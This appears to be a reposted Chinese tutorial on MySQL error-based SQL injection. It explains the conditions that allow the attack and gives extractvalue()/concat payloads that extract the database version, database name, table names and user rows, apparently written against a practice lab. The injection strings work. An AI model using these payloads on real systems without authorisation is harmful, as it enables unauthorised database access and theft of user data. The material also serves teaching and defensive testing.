首页数据库MySQL报错注入是什么,如何应用

MySQL报错注入是什么,如何应用

时间2024-03-23 23:16:03发布访客分类数据库浏览1072
导读:在实际案例的操作过程中,我们可能会遇到“MySQL报错注入是什么,如何应用”这样的问题,那么我们该如何处理和解决这样的情况呢?这篇小编就给大家总结了一些方法,具有一定的借鉴价值,希望对大家有所帮助,接下来就让小编带领大家一起了解看看吧。...
在实际案例的操作过程中,我们可能会遇到“MySQL报错注入是什么,如何应用”这样的问题,那么我们该如何处理和解决这样的情况呢?这篇小编就给大家总结了一些方法,具有一定的借鉴价值,希望对大家有所帮助,接下来就让小编带领大家一起了解看看吧。

  

在mysql中,报错注入就是指通过页面报出的错误信息,构造合适的语句来获取想要的数据;应用系统未关闭数据库报错函数,可以使用extractvalue()函数,从目标XML中返回包含所查询值的字符串。

本教程操作环境:windows10系统、mysql8.0.22版本、Dell G3电脑。

mysql报错注入是什么

一、什么是报错注入?以及什么情况下使用?

  报错注入也可以说 是一种盲注------构造 payload 让信息通过错误提示回显出。在使用联合查询无法爆出显位时可考虑使用报错注入。

那么报错注入是怎么形成的呢?

首先是应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;

其次,必不可少就是后台未对MySQL相应的报错函数进行过滤

二、报错注入常用的函数

  在这里我使用的是extractvalue()函数,其作用是从目标XML中返回包含所查询值的字符串

  EXTRACTVALUE (XML_document, XPath_string):第一个参数:XML_document是String格式,为XML文档对象的名称; 第二个参数:XPath_string (Xpath格式的字符串)

三、基本流程

  1.获取版本信息

    使用语句 1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+ 。 其中concat是拼接()内的参数,0x7e解码之后为~符号。--+为注释符,将源代码中之后的语句全部注释掉以免发生错误。测试之后结果如下:

      //concat前的1为extractvalue()函数的第一个参数,可换为任意数字

      //语句中的第二个0x7e可以省略

   2.获取数据库名称

    使用语句

 1‘ and extractvalue(1,concat(0x7e,(select database()),0x7e))--+,

  3.获取表名

     1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+. 其中group_concat将tale_name字段的所有行放在一行上显示出来,如下所示

  4.获取数据

    1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))--+. 修改其中的limit参数即可获取users表中的不同行内容

以上就是关于“MySQL报错注入是什么,如何应用”的介绍了,感谢各位的阅读,希望文本对大家有所帮助。如果想要了解更多知识,欢迎关注网络,小编每天都会为大家更新不同的知识。

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!


若转载请注明出处: MySQL报错注入是什么,如何应用
本文地址: https://pptw.com/jishu/651663.html
mysql和oracle数据库怎么实现互相导入 MySQL中聚合函数count怎么使用

游客 回复需填写必要信息